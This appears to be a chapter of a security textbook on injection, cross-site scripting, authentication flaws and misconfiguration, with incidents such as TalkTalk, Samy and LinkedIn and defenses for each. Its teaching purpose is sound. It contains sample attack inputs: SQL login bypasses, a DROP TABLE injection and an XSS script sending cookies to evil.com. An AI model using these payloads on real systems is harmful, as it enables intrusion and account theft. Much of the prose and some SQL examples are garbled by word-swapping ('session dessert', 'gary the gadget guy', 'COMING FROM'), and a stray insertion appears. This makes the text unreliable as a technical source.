# Chapter 5: Threat Landscape and Common Vulnerabilities
Just about every application operates in a setting full involving threats – malicious actors constantly seeking for weaknesses to use. Understanding the danger landscape is vital for defense. Within this chapter, we'll survey the virtually all common forms of program vulnerabilities and problems seen in typically the wild today. We are going to discuss how they will work, provide real-life instances of their exploitation, and introduce greatest practices in order to avoid these people. This will place the groundwork for later chapters, which can delve deeper into how to construct security straight into the development lifecycle and specific protection.
Over the yrs, certain categories regarding vulnerabilities have surfaced as perennial difficulties, regularly appearing throughout security assessments in addition to breach reports. Sector resources like the OWASP Top 10 (for web applications) and CWE Top twenty-five (common weaknesses enumeration) list these common suspects. Let's check out some of typically the major ones:
## Injection Attacks (SQL, Command Injection, and many others. )
- **Description**: Injection flaws take place when an application takes untrusted input (often from an user) and nourishes it into an interpreter or order in a way that alters the intended execution. Typically the classic example is definitely SQL Injection (SQLi) – where consumer input is concatenated into an SQL query without right sanitization, allowing you put in their own SQL commands. Similarly, Control Injection involves treating OS commands, LDAP Injection into LDAP queries, NoSQL Injection in NoSQL directories, and so about. Essentially, the application form fails to distinguish data from code guidelines.
- **How it works**: Consider the simple login contact form that takes a good account information. If the server-side code naively constructs a question like: `SELECT * FROM users WHERE user name = 'alice' IN ADDITION TO password = 'mypassword'; `, an attacker can input a thing like `username: alice' OR '1'='1` in addition to `password: anything`. The cake you produced SQL would get: `SELECT * COMING FROM users WHERE login = 'alice' OR '1'='1' AND security password = 'anything'; `. The `'1'='1'` issue always true may make the problem return all users, effectively bypassing typically the password check. This is a basic example of SQL injections to force a login.
More maliciously, an attacker can terminate the question through adding `; FALL TABLE users; --` to delete the users table (a destructive attack in integrity) or `; SELECT credit_card BY users; --` to be able to dump sensitive information (a confidentiality breach).
- **Real-world impact**: SQL injection features been behind a few of the largest data breaches on record. We mentioned the Heartland Payment Systems breach – in 2008, attackers exploited the SQL injection in a web application to ultimately penetrate interior systems and steal millions of credit rating card numbers
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. Another circumstance: the TalkTalk 2015 breach in britain, where a teenager utilized SQL injection to gain access to the personal files of over 150, 000 customers. The subsequent investigation exposed TalkTalk had still left an obsolete webpage with a recognized SQLi flaw on-line, and hadn't patched a database weakness from 2012
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. TalkTalk's CEO detailed it as the basic cyberattack; certainly, SQLi was well-understood for a decade, yet the company's failure to sanitize inputs and revise software resulted in a serious incident – they were fined and suffered reputational loss.
These illustrations show injection episodes can compromise confidentiality (steal data), sincerity (modify or delete data), and accessibility (if data is usually wiped, service is definitely disrupted). Even nowadays, injection remains a common attack vector. In fact, OWASP's 2021 Top 10 still lists Injection (including SQL, NoSQL, command injection, etc. ) like a leading risk (category A03: 2021)
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- **Defense**: The primary defense towards injection is source validation and outcome escaping – ensure that any untrusted data is treated simply because pure data, never ever as code. Making use of prepared statements (parameterized queries) with sure variables is a new gold standard with regard to SQL: it divides the SQL signal from the data ideals, so even if an user gets into a weird string, it won't split the query construction. For example, by using a parameterized query in Java with JDBC, the previous login query would be `SELECT * COMING FROM users WHERE login name =? AND username and password =? `, and the `? ` placeholders are bound to user inputs securely (so `' OR PERHAPS '1'='1` would always be treated literally as an username, which often won't match virtually any real username, instead than part associated with SQL logic). Similar approaches exist intended for other interpreters.
About top of of which, whitelisting input acceptance can restrict what characters or formatting is allowed (e. g., an login could be restricted in order to alphanumeric), stopping many injection payloads at the front door
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. In addition, encoding output effectively (e. g. HTML CODE encoding to stop script injection) is usually key, which we'll cover under XSS.
Developers should by no means directly include raw input in orders. Secure frameworks and ORM (Object-Relational Mapping) tools help by simply handling the problem building for you. Finally, least opportunity helps mitigate effects: the database account used by the app should possess only necessary privileges – e. g. it will not have DROP TABLE privileges if not necessary, to prevent an injection from undertaking irreparable harm.
## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting identifies a new class of weaknesses where an software includes malicious pièce within the context involving a trusted site. Unlike injection directly into a server, XSS is about treating to the content that others see, typically in the web web site, causing victim users' browsers to execute attacker-supplied script. Now there are a number of types of XSS: Stored XSS (the malicious script is usually stored on the server, e. grams. inside a database, and even served to additional users), Reflected XSS (the script is definitely reflected from the hardware immediately within a response, often by way of a lookup query or error message), and DOM-based XSS (the vulnerability is in client-side JavaScript that insecurely manipulates the DOM).
- **How it works**: Imagine a communication board where customers can post feedback. If the software does not sanitize HTML tags in responses, an attacker can post a review like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any consumer who views that will comment will by mistake run the program in their visitor. The script previously mentioned would send typically the user's session dessert to the attacker's server (stealing their session, hence enabling the attacker to impersonate them in the site – a confidentiality and even integrity breach).
In the reflected XSS scenario, maybe the internet site shows your input with an error page: should you pass a new script in the URL and the web-site echoes it, this will execute in the browser of the person who clicked that malevolent link.
Essentially, XSS turns the victim's browser into a good unwitting accomplice.
rapid **Real-world impact**: XSS can be really serious, especially upon highly trusted web sites (like great example of such, web mail, banking portals). The famous early example of this was the Samy worm on Bebo in 2005. A user named Samy discovered a stored XSS vulnerability in MySpace profiles. He designed a worm: a new script that, if any user looked at his profile, it would add him as a friend and copy the script to the particular viewer's own user profile. This way, anyone more viewing their user profile got infected too. Within just 20 hours of relieve, over one thousand users' profiles acquired run the worm's payload, making Samy one of the fastest-spreading malware of time
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. The worm itself simply displayed the term "but most associated with all, Samy is definitely my hero" upon profiles, a comparatively harmless prank
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. Nevertheless, it had been a wake-up call: if an XSS worm may add friends, that could just mainly because easily have stolen non-public messages, spread junk e-mail, or done other malicious actions about behalf of consumers. Samy faced lawful consequences for this stunt
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In an additional scenario, XSS may be used in order to hijack accounts: with regard to instance, a resembled XSS inside a bank's site might be taken advantage of via a scam email that techniques an user straight into clicking an LINK, which then completes a script to transfer funds or even steal session tokens.
XSS vulnerabilities need been seen in websites like Twitter, Myspace (early days), in addition to countless others – bug bounty plans commonly receive XSS reports. Even though many XSS bugs are associated with moderate severity (defaced UI, etc. ), some may be critical if they permit administrative account takeover or deliver malware to users.
-- **Defense**: The cornerstone of XSS security is output encoding. Any user-supplied content that is viewed within a page should be properly escaped/encoded so that that cannot be interpreted since active script. Intended for example, in the event that an user writes ` bad() ` in a remark, the server have to store it and after that output it because `< script> bad()< /script> ` so that it shows up as harmless text message, not as a good actual script. Modern web frameworks often provide template machines that automatically escape variables, which inhibits most reflected or even stored XSS simply by default.
Another important defense is Content material Security Policy (CSP) – a header that instructs windows to only execute scripts from certain options. A well-configured CSP can mitigate typically the impact of XSS by blocking inline scripts or exterior scripts that aren't explicitly allowed, nevertheless CSP may be sophisticated to set right up without affecting web page functionality.
For builders, it's also critical to avoid practices like dynamically constructing HTML CODE with raw files or using `eval()` on user insight in JavaScript. Internet applications can in addition sanitize input to be able to strip out banned tags or features (though it is challenging to get perfect). In summary: confirm and sanitize virtually any HTML or JavaScript inputs, use context-appropriate escaping (HTML get away for HTML content material, JavaScript escape for data injected in to scripts, etc. ), and consider allowing browser-side defenses like CSP.
## Cracked Authentication and Session Management
- **Description**: These vulnerabilities require weaknesses in just how users authenticate in order to the application or maintain their verified session. "Broken authentication" can mean various issues: allowing weak passwords, not avoiding brute force, screwing up to implement proper multi-factor authentication, or exposing session IDs. "Session management" is closely related – once an end user is logged found in, the app typically uses a treatment cookie or token to remember them; if that mechanism is certainly flawed (e. gary the gadget guy. predictable session IDs, not expiring classes, not securing typically the cookie), attackers may well hijack other users' sessions.
- **How it works**: One particular common example is definitely websites that imposed overly simple username and password requirements or got no protection in opposition to trying many account details. Attackers exploit this particular by using credential stuffing (trying username/password pairs leaked from the other sites) or incredible force (trying a lot of combinations). If presently there will be no lockouts or even rate limits, a great attacker can methodically guess credentials.
An additional example: if an application's session biscuit (the piece of info that identifies a new logged-in session) is usually not marked with the Secure flag (so it's sent above HTTP as nicely as HTTPS) or not marked HttpOnly (so it can certainly be accessible in order to scripts), it may be thieved via network sniffing or XSS. As soon as an attacker offers a valid period token (say, thieved from an unsafe Wi-Fi or via an XSS attack), they can impersonate that user without seeking credentials.
There include also been common sense flaws where, intended for instance, the username and password reset functionality is definitely weak – maybe it's vulnerable to the attack where the attacker can reset someone else's password by modifying variables (this crosses straight into insecure direct subject references / access control too).
Total, broken authentication addresses anything that enables an attacker to be able to either gain experience illicitly or bypass the login making use of some flaw.
instructions **Real-world impact**: We've all seen news of massive "credential dumps" – billions of username/password pairs floating around from past breaches. Assailants take these and try them on other services (because a lot of people reuse passwords). This automated credential stuffing has guided to compromises involving high-profile accounts on the subject of various platforms.
secure development lifecycle of broken auth was your case in spring 2012 where LinkedIn suffered a breach plus 6. 5 mil password hashes (unsalted SHA-1) were leaked
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. The poor hashing meant assailants cracked most associated with those passwords within hours
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. Worse, a few yrs later it converted out the break the rules of was actually much larger (over a hundred million accounts). Folks often reuse passwords, so that break the rules of had ripple effects across other internet sites. LinkedIn's failing was in cryptography (they didn't salt or perhaps use a robust hash), which will be a part of protecting authentication data.
Another commonplace incident type: program hijacking. For instance, before most internet sites adopted HTTPS almost everywhere, attackers about the same community (like a Wi-Fi) could sniff biscuits and impersonate customers – a threat popularized from the Firesheep tool in 2010, which often let anyone eavesdrop on unencrypted lessons for sites want Facebook. This required web services in order to encrypt entire classes, not just logon pages.
There are also cases of flawed multi-factor authentication implementations or login bypasses due to common sense errors (e. gary the gadget guy., an API that returns different emails for valid vs invalid usernames may allow an opponent to enumerate customers, or even a poorly applied "remember me" expression that's easy to forge). The consequences involving broken authentication are usually severe: unauthorized accessibility to user records, data breaches, identity theft, or unauthorized transactions.
- **Defense**: Protecting authentication requires a multi-pronged approach:
- Enforce strong security password policies but within just reason. Current NIST guidelines recommend allowing users to select long passwords (up to 64 chars) rather than requiring regular changes unless there's indication of compromise
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. Rather, check passwords in opposition to known breached username and password lists (to refuse "P@ssw0rd" and the like). Also motivate passphrases which can be much easier to remember yet hard to think.
- Implement multi-factor authentication (MFA). The password alone is usually often insufficient these types of days; providing an alternative (or requirement) to get a second factor, such as an one-time code or perhaps a push notification, considerably reduces the associated risk of account bargain even if account details leak. Many major breaches could have got been mitigated by MFA.
- Safe the session tokens. Use the Protected flag on pastries so they are usually only sent more than HTTPS, HttpOnly thus they aren't attainable via JavaScript (mitigating some XSS impact), and consider SameSite to prevent these people from being sent in CSRF assaults (more on CSRF later). Make program IDs long, random, and unpredictable (to prevent guessing).
instructions Avoid exposing treatment IDs in Web addresses, because they can be logged or released via referer headers. Always prefer biscuits or authorization headers.
- Implement bank account lockout or throttling for login endeavors. After say 5-10 failed attempts, either lock the account for a period or perhaps increasingly delay answers. Also use CAPTCHAs or perhaps other mechanisms in case automated attempts are detected. However, be mindful of denial-of-service – some web sites opt for better throttling to prevent letting attackers secure out users by simply trying bad security passwords repeatedly.
- Session timeout and logout: Expire sessions after a reasonable period regarding inactivity, and absolutely invalidate session as well on logout. It's surprising how a few apps in the particular past didn't appropriately invalidate server-side treatment records on logout, allowing tokens to be re-used.
- Be aware of forgot password moves. Use secure bridal party or links through email, don't uncover whether an customer exists or not necessarily (to prevent customer enumeration), and make sure those tokens expire quickly.
Modern frameworks often handle the lot of this kind of for you, but misconfigurations are common (e. g., a developer may possibly accidentally disable the security feature). Regular audits and tests (like using OWASP ZAP or various other tools) can capture issues like lacking secure flags or weak password procedures.
Lastly, monitor authentication events. Unusual patterns (like a single IP trying a large number of user names, or one bank account experiencing numerous hit a brick wall logins) should boost alarms. This overlaps with intrusion detection.
To emphasize, OWASP's 2021 list telephone calls this category Identity and Authentication Disappointments (formerly "Broken Authentication") and highlights the particular importance of such things as MFA, not making use of default credentials, plus implementing proper username and password handling
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. They note of which 90% of software tested had concerns in this area in several form, which is quite worrying.
## Security Misconfiguration
- **Description**: Misconfiguration isn't just one weeknesses per se, but a broad course of mistakes throughout configuring the application or its surroundings that lead in order to insecurity. This could involve using default credentials or settings, leaving unnecessary functions enabled, misconfiguring security headers, or not hardening the server. Essentially, the software might be secure in concept, nevertheless the way it's deployed or configured opens an opening.
- **How this works**: Examples of misconfiguration:
- Causing default admin accounts/passwords active. Many computer software packages or gadgets historically shipped with well-known defaults